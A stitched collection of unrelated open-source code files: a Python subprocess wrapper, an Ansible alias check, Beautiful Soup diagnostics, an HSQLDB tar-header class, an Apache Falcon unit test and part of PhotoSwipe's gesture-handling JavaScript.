log.debug("SubProcess.__init__: channelsClosed...", extra={"task":self.defname})
self.channelsClosed = False
self.channelsClosedLock = threading.Lock()
log.debug("SubProcess.__init__: child_watch_add...", extra={"task":self.defname})
GObject.child_watch_add(self.pid, self.__child_watch_callback)
log.debug("SubProcess.__init__: subprocExitCode...", extra={"task":self.defname})
self.subprocExitCode = (None, None)
self.subprocFinishedEvent = threading.Event()
subprocesses.append(self)
log.debug("SubProcess.__init__: finished", extra={"task":self.defname})
def _initChannel (self, filedesc, callbackflag, callback, isstderr):
channel = GLib.IOChannel(filedesc)
if sys.platform != "win32":
channel.set_flags(GObject.IO_FLAG_NONBLOCK)
if callback:
tag = channel.add_watch(callbackflag, callback, isstderr)
self.__channelTags.append(tag)
return channel
def _closeChannels (self):
self.channelsClosedLock.acquire()
try:
if self.channelsClosed == True:
return
self.channelsClosed = True
finally:
self.channelsClosedLock.release()
for tag in self.__channelTags:
GObject.source_remove(tag)
for channel in (self.inChannel, self.outChannel, self.errChannel):
try:
channel.close()
except GObject.GError as error:
pass
def __setup (self):
os.nice(15)
def __child_watch_callback (self, pid, code):
log.debug("SubProcess.__child_watch_callback: %s" % repr(code),
extra={"task":self.defname})
# Kill the engine on any signal but 'Resource temporarily unavailable'
self.subprocExitCode = (code, os.strerror(code))
if code != errno.EWOULDBLOCK:
if isinstance(code, str):
log.error(code, extra={"task":self.defname})
else: log.error(os.strerror(code), extra={"task":self.defname})
self.emit("died")
self.gentleKill()
def __io_cb (self, channel, condition, isstderr):
while True:
try:
line = channel.next()#readline()
except StopIteration:
# fix for pygi
#return False
return True
if not line:
return True
if isstderr:
log.error(line, extra={"task":self.defname})
else:
for word in self.warnwords:
if word in line:
log.warning(line, extra={"task":self.defname})
break
else: log.debug(line.rstrip(), extra={"task":self.defname})
self.linePublisher.put(line)
def write (self, data):
if self.channelsClosed:
log.warning("Chan closed for %r" % data, extra={"task":self.defname})
return
if data.rstrip():
log.info(data, extra={"task":self.defname})
self.inChannel.write(data)
if data.endswith("\n"):
try:
self.inChannel.flush()
except GObject.GError as e:
log.error(str(e)+". Last line wasn't sent.", extra={"task":self.defname})
def sendSignal (self, sign):
try:
if sys.platform != "win32":
os.kill(self.pid, signal.SIGCONT)
os.kill(self.pid, sign)
except OSError as error:
if error.errno == errno.ESRCH:
#No such process
pass
else: raise OSError(error)
def gentleKill (self, first=1, second=1):
t = Thread(target=self.__gentleKill_inner,
name=fident(self.__gentleKill_inner),
args=(first, second))
t.daemon = True
t.start()
def __gentleKill_inner (self, first, second):
self.resume()
self._closeChannels()
time.sleep(first)
code, string = self.subprocExitCode
if code == None:
self.sigterm()
time.sleep(second)
code, string = self.subprocExitCode
if code == None:
self.sigkill()
self.subprocFinishedEvent.set()
return self.subprocExitCode[0]
self.subprocFinishedEvent.set()
return code
self.subprocFinishedEvent.set()
self.linePublisher._del()
return code
def pause (self):
self.sendSignal(signal.SIGSTOP)
def resume (self):
if sys.platform != "win32":
self.sendSignal(signal.SIGCONT)
def sigkill (self):
self.sendSignal(signal.SIGKILL)
def sigterm (self):
self.sendSignal(signal.SIGTERM)
def sigint (self):
self.sendSignal(signal.SIGINT)
if __name__ == "__main__":
loop = GObject.MainLoop()
paths = ("igang.dk", "google.com", "google.dk", "myspace.com", "yahoo.com")
maxlen = max(len(p) for p in paths)
def callback (subp, line, path):
print("\t", path.ljust(maxlen), line.rstrip("\n"))
for path in paths:
subp = SubProcess("/bin/ping", [path])
subp.connect("line", callback, path)
loop.run()
| gpl-3.0 |
emersonsoftware/ansiblefork | test/sanity/code-smell/integration-aliases.py | 2176 | #!/usr/bin/env python
import os
import textwrap
def main():
targets_dir = 'test/integration/targets'
with open('test/integration/target-prefixes.network', 'r') as prefixes_fd:
network_prefixes = prefixes_fd.read().splitlines()
missing_aliases = []
for target in sorted(os.listdir(targets_dir)):
target_dir = os.path.join(targets_dir, target)
aliases_path = os.path.join(target_dir, 'aliases')
files = sorted(os.listdir(target_dir))
# aliases already defined
if os.path.exists(aliases_path):
continue
# don't require aliases for support directories
if any(os.path.splitext(f)[0] == 'test' for f in files):
continue
# don't require aliases for setup_ directories
if target.startswith('setup_'):
continue
# don't require aliases for prepare_ directories
if target.startswith('prepare_'):
continue
# TODO: remove this exclusion once the `ansible-test network-integration` command is working properly
# don't require aliases for network modules
if any(target.startswith('%s_' % prefix) for prefix in network_prefixes):
continue
missing_aliases.append(target_dir)
if missing_aliases:
message = '''
The following integration target directories are missing `aliases` files:
%s
Unless a test cannot run as part of CI, you'll want to add an appropriate CI alias, such as:
posix/ci/group1
windows/ci/group2
The CI groups are used to balance tests across multiple jobs to minimize test run time.
Aliases can also be used to express test requirements:
needs/privileged
needs/root
needs/ssh
Other aliases are used to skip tests under certain conditions:
skip/freebsd
skip/osx
skip/python3
Take a look at existing `aliases` files to see what aliases are available and how they're used.
''' % '\n'.join(missing_aliases)
print(textwrap.dedent(message).strip())
exit(1)
if __name__ == '__main__':
main()
| gpl-3.0 |
jbk0th/Using-Python-to-Access-web-Data | bs4/diagnose.py | 6644 | """Diagnostic functions, mainly for use when doing tech support."""
__license__ = "MIT"
import cProfile
from io import StringIO
from html.parser import HTMLParser
import bs4
from bs4 import BeautifulSoup, __version__
from bs4.builder import builder_registry
import os
import pstats
import random
import tempfile
import time
import traceback
import sys
import cProfile
def diagnose(data):
"""Diagnostic suite for isolating common problems."""
print("Diagnostic running on Beautiful Soup %s" % __version__)
print("Python version %s" % sys.version)
basic_parsers = ["html.parser", "html5lib", "lxml"]
for name in basic_parsers:
for builder in builder_registry.builders:
if name in builder.features:
break
else:
basic_parsers.remove(name)
print((
"I noticed that %s is not installed. Installing it may help." %
name))
if 'lxml' in basic_parsers:
basic_parsers.append(["lxml", "xml"])
try:
from lxml import etree
print("Found lxml version %s" % ".".join(map(str,etree.LXML_VERSION)))
except ImportError as e:
print (
"lxml is not installed or couldn't be imported.")
if 'html5lib' in basic_parsers:
try:
import html5lib
print("Found html5lib version %s" % html5lib.__version__)
except ImportError as e:
print (
"html5lib is not installed or couldn't be imported.")
if hasattr(data, 'read'):
data = data.read()
elif os.path.exists(data):
print('"%s" looks like a filename. Reading data from the file.' % data)
data = open(data).read()
elif data.startswith("http:") or data.startswith("https:"):
print('"%s" looks like a URL. Beautiful Soup is not an HTTP client.' % data)
print("You need to use some other library to get the document behind the URL, and feed that document to Beautiful Soup.")
return
print()
for parser in basic_parsers:
print("Trying to parse your markup with %s" % parser)
success = False
try:
soup = BeautifulSoup(data, parser)
success = True
except Exception as e:
print("%s could not parse the markup." % parser)
traceback.print_exc()
if success:
print("Here's what %s did with the markup:" % parser)
print(soup.prettify())
print("-" * 80)
def lxml_trace(data, html=True, **kwargs):
"""Print out the lxml events that occur during parsing.
This lets you see how lxml parses a document when no Beautiful
Soup code is running.
"""
from lxml import etree
for event, element in etree.iterparse(StringIO(data), html=html, **kwargs):
print(("%s, %4s, %s" % (event, element.tag, element.text)))
class AnnouncingParser(HTMLParser):
"""Announces HTMLParser parse events, without doing anything else."""
def _p(self, s):
print(s)
def handle_starttag(self, name, attrs):
self._p("%s START" % name)
def handle_endtag(self, name):
self._p("%s END" % name)
def handle_data(self, data):
self._p("%s DATA" % data)
def handle_charref(self, name):
self._p("%s CHARREF" % name)
def handle_entityref(self, name):
self._p("%s ENTITYREF" % name)
def handle_comment(self, data):
self._p("%s COMMENT" % data)
def handle_decl(self, data):
self._p("%s DECL" % data)
def unknown_decl(self, data):
self._p("%s UNKNOWN-DECL" % data)
def handle_pi(self, data):
self._p("%s PI" % data)
def htmlparser_trace(data):
"""Print out the HTMLParser events that occur during parsing.
This lets you see how HTMLParser parses a document when no
Beautiful Soup code is running.
"""
parser = AnnouncingParser()
parser.feed(data)
_vowels = "aeiou"
_consonants = "bcdfghjklmnpqrstvwxyz"
def rword(length=5):
"Generate a random word-like string."
s = ''
for i in range(length):
if i % 2 == 0:
t = _consonants
else:
t = _vowels
s += random.choice(t)
return s
def rsentence(length=4):
"Generate a random sentence-like string."
return " ".join(rword(random.randint(4,9)) for i in range(length))
def rdoc(num_elements=1000):
"""Randomly generate an invalid HTML document."""
tag_names = ['p', 'div', 'span', 'i', 'b', 'script', 'table']
elements = []
for i in range(num_elements):
choice = random.randint(0,3)
if choice == 0:
# New tag.
tag_name = random.choice(tag_names)
elements.append("<%s>" % tag_name)
elif choice == 1:
elements.append(rsentence(random.randint(1,4)))
elif choice == 2:
# Close a tag.
tag_name = random.choice(tag_names)
elements.append("</%s>" % tag_name)
return "<html>" + "\n".join(elements) + "</html>"
def benchmark_parsers(num_elements=100000):
"""Very basic head-to-head performance benchmark."""
print("Comparative parser benchmark on Beautiful Soup %s" % __version__)
data = rdoc(num_elements)
print("Generated a large invalid HTML document (%d bytes)." % len(data))
for parser in ["lxml", ["lxml", "html"], "html5lib", "html.parser"]:
success = False
try:
a = time.time()
soup = BeautifulSoup(data, parser)
b = time.time()
success = True
except Exception as e:
print("%s could not parse the markup." % parser)
traceback.print_exc()
if success:
print("BS4+%s parsed the markup in %.2fs." % (parser, b-a))
from lxml import etree
a = time.time()
etree.HTML(data)
b = time.time()
print("Raw lxml parsed the markup in %.2fs." % (b-a))
import html5lib
parser = html5lib.HTMLParser()
a = time.time()
parser.parse(data)
b = time.time()
print("Raw html5lib parsed the markup in %.2fs." % (b-a))
def profile(num_elements=100000, parser="lxml"):
filehandle = tempfile.NamedTemporaryFile()
filename = filehandle.name
data = rdoc(num_elements)
vars = dict(bs4=bs4, data=data, parser=parser)
cProfile.runctx('bs4.BeautifulSoup(data, parser)' , vars, vars, filename)
stats = pstats.Stats(filename)
# stats.strip_dirs()
stats.sort_stats("cumulative")
stats.print_stats('_html5lib|bs4', 50)
if __name__ == '__main__':
diagnose(sys.stdin.read())
| gpl-3.0 |
migue/voltdb | src/hsqldb19b3/org/hsqldb_voltpatches/lib/tar/PIFGenerator.java | 6271 | /* Copyright (c) 2001-2009, The HSQL Development Group
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* Neither the name of the HSQL Development Group nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL HSQL DEVELOPMENT GROUP, HSQLDB.ORG,
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.hsqldb_voltpatches.lib.tar;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
/**
* Encapsulates Pax Interchange Format key/value pairs.
*/
public class PIFGenerator extends ByteArrayOutputStream {
OutputStreamWriter writer;
String name;
int fakePid; // Only used by contructors
char typeFlag;
public String getName() {
return name;
}
protected PIFGenerator() {
try {
writer = new OutputStreamWriter(this, "UTF-8");
} catch (UnsupportedEncodingException uee) {
throw new RuntimeException(
"Serious problem. JVM can't encode UTF-8", uee);
}
fakePid = (int) (new java.util.Date().getTime() % 100000L);
// Java doesn't have access to PIDs, as PIF wants in the "name" field,
// so we emulate one in a way that is easy for us.
}
/**
* Construct a PIFGenerator object for a 'g' record.
*
* @param sequenceNum Index starts at 1 in each Tar file
*/
public PIFGenerator(int sequenceNum) {
this();
if (sequenceNum < 1) {
// No need to localize. Would be caught at dev-time.
throw new IllegalArgumentException("Sequence numbers start at 1");
}
typeFlag = 'g';
name = System.getProperty("java.io.tmpdir") + "/GlobalHead." + fakePid
+ '.' + sequenceNum;
}
/**
* Construct a PIFGenerator object for a 'x' record.
*
* @param file Target file of the x record.
*/
public PIFGenerator(File file) {
this();
typeFlag = 'x';
String parentPath = (file.getParentFile() == null) ? "."
: file.getParentFile()
.getPath();
name = parentPath + "/PaxHeaders." + fakePid + '/' + file.getName();
}
/**
* Convenience wrapper for addRecord(String, String).
* N.b. this writes values exactly as either "true" or "false".
*
* @see #addRecord(String, String)
* @see Boolean#toString(boolean)
*/
public void addRecord(String key,
boolean b)
throws TarMalformatException, IOException {
addRecord(key, Boolean.toString(b));
}
/**
* Convenience wrapper for addRecord(String, String).
*
* @see #addRecord(String, String)
*/
public void addRecord(String key,
int i) throws TarMalformatException, IOException {
addRecord(key, Integer.toString(i));
}
/**
* Convenience wrapper for addRecord(String, String).
*
* @see #addRecord(String, String)
*/
public void addRecord(String key,
long l) throws TarMalformatException, IOException {
addRecord(key, Long.toString(l));
}
/**
* I guess the "initial length" field is supposed to be in units of
* characters, not bytes?
*/
public void addRecord(String key,
String value)
throws TarMalformatException, IOException {
if (key == null || value == null || key.length() < 1
|| value.length() < 1) {
throw new TarMalformatException(
RB.singleton.getString(RB.ZERO_WRITE));
}
int lenWithoutIlen = key.length() + value.length() + 3;
// "Ilen" means Initial Length field. +3 = SPACE + = + \n
int lenW = 0; // lenW = Length With initial-length-field
if (lenWithoutIlen < 8) {
lenW = lenWithoutIlen + 1; // Takes just 1 char to report total
} else if (lenWithoutIlen < 97) {
lenW = lenWithoutIlen + 2; // Takes 2 chars to report this total
} else if (lenWithoutIlen < 996) {
lenW = lenWithoutIlen + 3; // Takes 3...
} else if (lenWithoutIlen < 9995) {
lenW = lenWithoutIlen + 4; // ditto
} else if (lenWithoutIlen < 99994) {
lenW = lenWithoutIlen + 5;
} else {
throw new TarMalformatException(
RB.singleton.getString(RB.PIF_TOOBIG, 99991));
}
writer.write(Integer.toString(lenW));
writer.write(' ');
writer.write(key);
writer.write('=');
writer.write(value);
writer.write('\n');
writer.flush(); // Does this do anything with a BAOS?
}
}
| agpl-3.0 |
InMobi/falcon | common/src/test/java/org/apache/falcon/util/RadixNodeTest.java | 3629 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.falcon.util;
import org.testng.Assert;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import java.util.Arrays;
import java.util.HashSet;
/**
* Tests for Radix Node.
*/
public class RadixNodeTest {
private RadixNode<String> rootNode = new RadixNode<String>();
private RadixNode<String> normalNode = new RadixNode<String>();
@BeforeMethod
public void setUp(){
rootNode.setKey("");
rootNode.setValues(new HashSet<String>(Arrays.asList("root")));
normalNode.setKey("/data/cas/");
normalNode.setValues(new HashSet<String>(Arrays.asList("CAS Project")));
}
@Test
public void testMatchingWithRoot(){
String inputKey = "/data/cas/";
Assert.assertEquals(rootNode.getMatchLength(inputKey), 0);
}
@Test
public void testEmptyMatchingWithRoot(){
String inputKey = "";
Assert.assertEquals(rootNode.getMatchLength(inputKey), 0);
}
@Test
public void testNullMatchingWithRoot(){
Assert.assertEquals(rootNode.getMatchLength(null), 0);
}
@Test
public void testDistinctStringMatching(){
String inputKey = "data/cas";
Assert.assertEquals(normalNode.getMatchLength(inputKey), 0);
}
@Test
public void testSameStringMatching(){
String inputKey = "/data/cas";
Assert.assertEquals(normalNode.getMatchLength(inputKey), 9);
}
@Test
public void testNullStringMatching(){
Assert.assertEquals(normalNode.getMatchLength(null), 0);
}
@Test
public void testAddingDuplicateValues() {
rootNode.addValue("root");
Assert.assertEquals(rootNode.getValues().size(), 1);
}
@Test
public void testAddMultipleValues() {
normalNode.addValue("data");
Assert.assertTrue(normalNode.containsValue("data"));
Assert.assertTrue(normalNode.containsValue("CAS Project"));
}
@Test
public void testMatchInput() {
RadixNode<String> node = new RadixNode<String>();
FalconRadixUtils.INodeAlgorithm matcher = new FalconRadixUtils.FeedRegexAlgorithm();
node.setKey("/data/cas/projects/${YEAR}/${MONTH}/${DAY}");
Assert.assertTrue(node.matches("/data/cas/projects/2014/09/09", matcher));
Assert.assertFalse(node.matches("/data/cas/projects/20140909", matcher));
Assert.assertFalse(node.matches("/data/2014/projects/2014/09/09", matcher));
Assert.assertFalse(node.matches("/data/2014/projects/2014/09/", matcher));
Assert.assertFalse(node.matches("/data/cas/projects/2014/09/09trail", matcher));
Assert.assertFalse(node.matches("/data/cas/projects/2014/09/09/", matcher));
Assert.assertFalse(node.matches("/data/cas/projects/2014/09/", matcher));
}
}
| apache-2.0 |
dawoodahmed/nasain | www/js/gestures.js | 30716 | /**
* Mouse/touch/pointer event handlers.
*
* separated from @core.js for readability
*/
var MIN_SWIPE_DISTANCE = 30,
DIRECTION_CHECK_OFFSET = 10; // amount of pixels to drag to determine direction of swipe
var _gestureStartTime,
_gestureCheckSpeedTime,
// pool of objects that are used during dragging of zooming
p = {}, // first point
p2 = {}, // second point (for zoom gesture)
delta = {},
_currPoint = {},
_startPoint = {},
_currPointers = [],
_startMainScrollPos = {},
_releaseAnimData,
_posPoints = [], // array of points during dragging, used to determine type of gesture
_tempPoint = {},
_isZoomingIn,
_verticalDragInitiated,
_oldAndroidTouchEndTimeout,
_currZoomedItemIndex = 0,
_centerPoint = _getEmptyPoint(),
_lastReleaseTime = 0,
_isDragging, // at least one pointer is down
_isMultitouch, // at least two _pointers are down
_zoomStarted, // zoom level changed during zoom gesture
_moved,
_dragAnimFrame,
_mainScrollShifted,
_currentPoints, // array of current touch points
_isZooming,
_currPointsDistance,
_startPointsDistance,
_currPanBounds,
_mainScrollPos = _getEmptyPoint(),
_currZoomElementStyle,
_mainScrollAnimating, // true, if animation after swipe gesture is running
_midZoomPoint = _getEmptyPoint(),
_currCenterPoint = _getEmptyPoint(),
_direction,
_isFirstMove,
_opacityChanged,
_bgOpacity,
_wasOverInitialZoom,
_isEqualPoints = function(p1, p2) {
return p1.x === p2.x && p1.y === p2.y;
},
_isNearbyPoints = function(touch0, touch1) {
return Math.abs(touch0.x - touch1.x) < DOUBLE_TAP_RADIUS && Math.abs(touch0.y - touch1.y) < DOUBLE_TAP_RADIUS;
},
_calculatePointsDistance = function(p1, p2) {
_tempPoint.x = Math.abs( p1.x - p2.x );
_tempPoint.y = Math.abs( p1.y - p2.y );
return Math.sqrt(_tempPoint.x * _tempPoint.x + _tempPoint.y * _tempPoint.y);
},
_stopDragUpdateLoop = function() {
if(_dragAnimFrame) {
_cancelAF(_dragAnimFrame);
_dragAnimFrame = null;
}
},
_dragUpdateLoop = function() {
if(_isDragging) {
_dragAnimFrame = _requestAF(_dragUpdateLoop);
_renderMovement();
}
},
_canPan = function() {
return !(_options.scaleMode === 'fit' && _currZoomLevel === self.currItem.initialZoomLevel);
},
// find the closest parent DOM element
_closestElement = function(el, fn) {
if(!el || el === document) {
return false;
}
// don't search elements above pswp__scroll-wrap
if(el.getAttribute('class') && el.getAttribute('class').indexOf('pswp__scroll-wrap') > -1 ) {
return false;
}
if( fn(el) ) {
return el;
}
return _closestElement(el.parentNode, fn);
},
_preventObj = {},
_preventDefaultEventBehaviour = function(e, isDown) {
_preventObj.prevent = !_closestElement(e.target, _options.isClickableElement);
_shout('preventDragEvent', e, isDown, _preventObj);
return _preventObj.prevent;
},
_convertTouchToPoint = function(touch, p) {
p.x = touch.pageX;
p.y = touch.pageY;
p.id = touch.identifier;
return p;
},
_findCenterOfPoints = function(p1, p2, pCenter) {
pCenter.x = (p1.x + p2.x) * 0.5;
pCenter.y = (p1.y + p2.y) * 0.5;
},
_pushPosPoint = function(time, x, y) {
if(time - _gestureCheckSpeedTime > 50) {
var o = _posPoints.length > 2 ? _posPoints.shift() : {};
o.x = x;
o.y = y;
_posPoints.push(o);
_gestureCheckSpeedTime = time;
}
},
_calculateVerticalDragOpacityRatio = function() {
var yOffset = _panOffset.y - self.currItem.initialPosition.y; // difference between initial and current position
return 1 - Math.abs( yOffset / (_viewportSize.y / 2) );
},
// points pool, reused during touch events
_ePoint1 = {},
_ePoint2 = {},
_tempPointsArr = [],
_tempCounter,
_getTouchPoints = function(e) {
// clean up previous points, without recreating array
while(_tempPointsArr.length > 0) {
_tempPointsArr.pop();
}
if(!_pointerEventEnabled) {
if(e.type.indexOf('touch') > -1) {
if(e.touches && e.touches.length > 0) {
_tempPointsArr[0] = _convertTouchToPoint(e.touches[0], _ePoint1);
if(e.touches.length > 1) {
_tempPointsArr[1] = _convertTouchToPoint(e.touches[1], _ePoint2);
}
}
} else {
_ePoint1.x = e.pageX;
_ePoint1.y = e.pageY;
_ePoint1.id = '';
_tempPointsArr[0] = _ePoint1;//_ePoint1;
}
} else {
_tempCounter = 0;
// we can use forEach, as pointer events are supported only in modern browsers
_currPointers.forEach(function(p) {
if(_tempCounter === 0) {
_tempPointsArr[0] = p;
} else if(_tempCounter === 1) {
_tempPointsArr[1] = p;
}
_tempCounter++;
});
}
return _tempPointsArr;
},
_panOrMoveMainScroll = function(axis, delta) {
var panFriction,
overDiff = 0,
newOffset = _panOffset[axis] + delta[axis],
startOverDiff,
dir = delta[axis] > 0,
newMainScrollPosition = _mainScrollPos.x + delta.x,
mainScrollDiff = _mainScrollPos.x - _startMainScrollPos.x,
newPanPos,
newMainScrollPos;
// calculate fdistance over the bounds and friction
if(newOffset > _currPanBounds.min[axis] || newOffset < _currPanBounds.max[axis]) {
panFriction = _options.panEndFriction;
// Linear increasing of friction, so at 1/4 of viewport it's at max value.
// Looks not as nice as was expected. Left for history.
// panFriction = (1 - (_panOffset[axis] + delta[axis] + panBounds.min[axis]) / (_viewportSize[axis] / 4) );
} else {
panFriction = 1;
}
newOffset = _panOffset[axis] + delta[axis] * panFriction;
// move main scroll or start panning
if(_options.allowPanToNext || _currZoomLevel === self.currItem.initialZoomLevel) {
if(!_currZoomElementStyle) {
newMainScrollPos = newMainScrollPosition;
} else if(_direction === 'h' && axis === 'x' && !_zoomStarted ) {
if(dir) {
if(newOffset > _currPanBounds.min[axis]) {
panFriction = _options.panEndFriction;
overDiff = _currPanBounds.min[axis] - newOffset;
startOverDiff = _currPanBounds.min[axis] - _startPanOffset[axis];
}
// drag right
if( (startOverDiff <= 0 || mainScrollDiff < 0) && _getNumItems() > 1 ) {
newMainScrollPos = newMainScrollPosition;
if(mainScrollDiff < 0 && newMainScrollPosition > _startMainScrollPos.x) {
newMainScrollPos = _startMainScrollPos.x;
}
} else {
if(_currPanBounds.min.x !== _currPanBounds.max.x) {
newPanPos = newOffset;
}
}
} else {
if(newOffset < _currPanBounds.max[axis] ) {
panFriction =_options.panEndFriction;
overDiff = newOffset - _currPanBounds.max[axis];
startOverDiff = _startPanOffset[axis] - _currPanBounds.max[axis];
}
if( (startOverDiff <= 0 || mainScrollDiff > 0) && _getNumItems() > 1 ) {
newMainScrollPos = newMainScrollPosition;
if(mainScrollDiff > 0 && newMainScrollPosition < _startMainScrollPos.x) {
newMainScrollPos = _startMainScrollPos.x;
}
} else {
if(_currPanBounds.min.x !== _currPanBounds.max.x) {
newPanPos = newOffset;
}
}
}
//
}
if(axis === 'x') {
if(newMainScrollPos !== undefined) {
_moveMainScroll(newMainScrollPos, true);
if(newMainScrollPos === _startMainScrollPos.x) {
_mainScrollShifted = false;
} else {
_mainScrollShifted = true;
}
}
if(_currPanBounds.min.x !== _currPanBounds.max.x) {
if(newPanPos !== undefined) {
_panOffset.x = newPanPos;
} else if(!_mainScrollShifted) {
_panOffset.x += delta.x * panFriction;
}
}
return newMainScrollPos !== undefined;
}
}
if(!_mainScrollAnimating) {
if(!_mainScrollShifted) {
if(_currZoomLevel > self.currItem.fitRatio) {
_panOffset[axis] += delta[axis] * panFriction;
}
}
}
},
// Pointerdown/touchstart/mousedown handler
_onDragStart = function(e) {
// Allow dragging only via left mouse button.
// As this handler is not added in IE8 - we ignore e.which
//
// http://www.quirksmode.org/js/events_properties.html
// https://developer.mozilla.org/en-US/docs/Web/API/event.button
if(e.type === 'mousedown' && e.button > 0 ) {
return;
}
if(_initialZoomRunning) {
e.preventDefault();
return;
}
if(_oldAndroidTouchEndTimeout && e.type === 'mousedown') {
return;
}
if(_preventDefaultEventBehaviour(e, true)) {
e.preventDefault();
}
_shout('pointerDown');
if(_pointerEventEnabled) {
var pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');
if(pointerIndex < 0) {
pointerIndex = _currPointers.length;
}
_currPointers[pointerIndex] = {x:e.pageX, y:e.pageY, id: e.pointerId};
}
var startPointsList = _getTouchPoints(e),
numPoints = startPointsList.length;
_currentPoints = null;
_stopAllAnimations();
// init drag
if(!_isDragging || numPoints === 1) {
_isDragging = _isFirstMove = true;
framework.bind(window, _upMoveEvents, self);
_isZoomingIn =
_wasOverInitialZoom =
_opacityChanged =
_verticalDragInitiated =
_mainScrollShifted =
_moved =
_isMultitouch =
_zoomStarted = false;
_direction = null;
_shout('firstTouchStart', startPointsList);
_equalizePoints(_startPanOffset, _panOffset);
_currPanDist.x = _currPanDist.y = 0;
_equalizePoints(_currPoint, startPointsList[0]);
_equalizePoints(_startPoint, _currPoint);
//_equalizePoints(_startMainScrollPos, _mainScrollPos);
_startMainScrollPos.x = _slideSize.x * _currPositionIndex;
_posPoints = [{
x: _currPoint.x,
y: _currPoint.y
}];
_gestureCheckSpeedTime = _gestureStartTime = _getCurrentTime();
//_mainScrollAnimationEnd(true);
_calculatePanBounds( _currZoomLevel, true );
// Start rendering
_stopDragUpdateLoop();
_dragUpdateLoop();
}
// init zoom
if(!_isZooming && numPoints > 1 && !_mainScrollAnimating && !_mainScrollShifted) {
_startZoomLevel = _currZoomLevel;
_zoomStarted = false; // true if zoom changed at least once
_isZooming = _isMultitouch = true;
_currPanDist.y = _currPanDist.x = 0;
_equalizePoints(_startPanOffset, _panOffset);
_equalizePoints(p, startPointsList[0]);
_equalizePoints(p2, startPointsList[1]);
_findCenterOfPoints(p, p2, _currCenterPoint);
_midZoomPoint.x = Math.abs(_currCenterPoint.x) - _panOffset.x;
_midZoomPoint.y = Math.abs(_currCenterPoint.y) - _panOffset.y;
_currPointsDistance = _startPointsDistance = _calculatePointsDistance(p, p2);
}
},
// Pointermove/touchmove/mousemove handler
_onDragMove = function(e) {
e.preventDefault();
if(_pointerEventEnabled) {
var pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');
if(pointerIndex > -1) {
var p = _currPointers[pointerIndex];
p.x = e.pageX;
p.y = e.pageY;
}
}
if(_isDragging) {
var touchesList = _getTouchPoints(e);
if(!_direction && !_moved && !_isZooming) {
if(_mainScrollPos.x !== _slideSize.x * _currPositionIndex) {
// if main scroll position is shifted – direction is always horizontal
_direction = 'h';
} else {
var diff = Math.abs(touchesList[0].x - _currPoint.x) - Math.abs(touchesList[0].y - _currPoint.y);
// check the direction of movement
if(Math.abs(diff) >= DIRECTION_CHECK_OFFSET) {
_direction = diff > 0 ? 'h' : 'v';
_currentPoints = touchesList;
}
}
} else {
_currentPoints = touchesList;
}
}
},
//
_renderMovement = function() {
if(!_currentPoints) {
return;
}
var numPoints = _currentPoints.length;
if(numPoints === 0) {
return;
}
_equalizePoints(p, _currentPoints[0]);
delta.x = p.x - _currPoint.x;
delta.y = p.y - _currPoint.y;
if(_isZooming && numPoints > 1) {
// Handle behaviour for more than 1 point
_currPoint.x = p.x;
_currPoint.y = p.y;
// check if one of two points changed
if( !delta.x && !delta.y && _isEqualPoints(_currentPoints[1], p2) ) {
return;
}
_equalizePoints(p2, _currentPoints[1]);
if(!_zoomStarted) {
_zoomStarted = true;
_shout('zoomGestureStarted');
}
// Distance between two points
var pointsDistance = _calculatePointsDistance(p,p2);
var zoomLevel = _calculateZoomLevel(pointsDistance);
// slightly over the of initial zoom level
if(zoomLevel > self.currItem.initialZoomLevel + self.currItem.initialZoomLevel / 15) {
_wasOverInitialZoom = true;
}
// Apply the friction if zoom level is out of the bounds
var zoomFriction = 1,
minZoomLevel = _getMinZoomLevel(),
maxZoomLevel = _getMaxZoomLevel();
if ( zoomLevel < minZoomLevel ) {
if(_options.pinchToClose && !_wasOverInitialZoom && _startZoomLevel <= self.currItem.initialZoomLevel) {
// fade out background if zooming out
var minusDiff = minZoomLevel - zoomLevel;
var percent = 1 - minusDiff / (minZoomLevel / 1.2);
_applyBgOpacity(percent);
_shout('onPinchClose', percent);
_opacityChanged = true;
} else {
zoomFriction = (minZoomLevel - zoomLevel) / minZoomLevel;
if(zoomFriction > 1) {
zoomFriction = 1;
}
zoomLevel = minZoomLevel - zoomFriction * (minZoomLevel / 3);
}
} else if ( zoomLevel > maxZoomLevel ) {
// 1.5 - extra zoom level above the max. E.g. if max is x6, real max 6 + 1.5 = 7.5
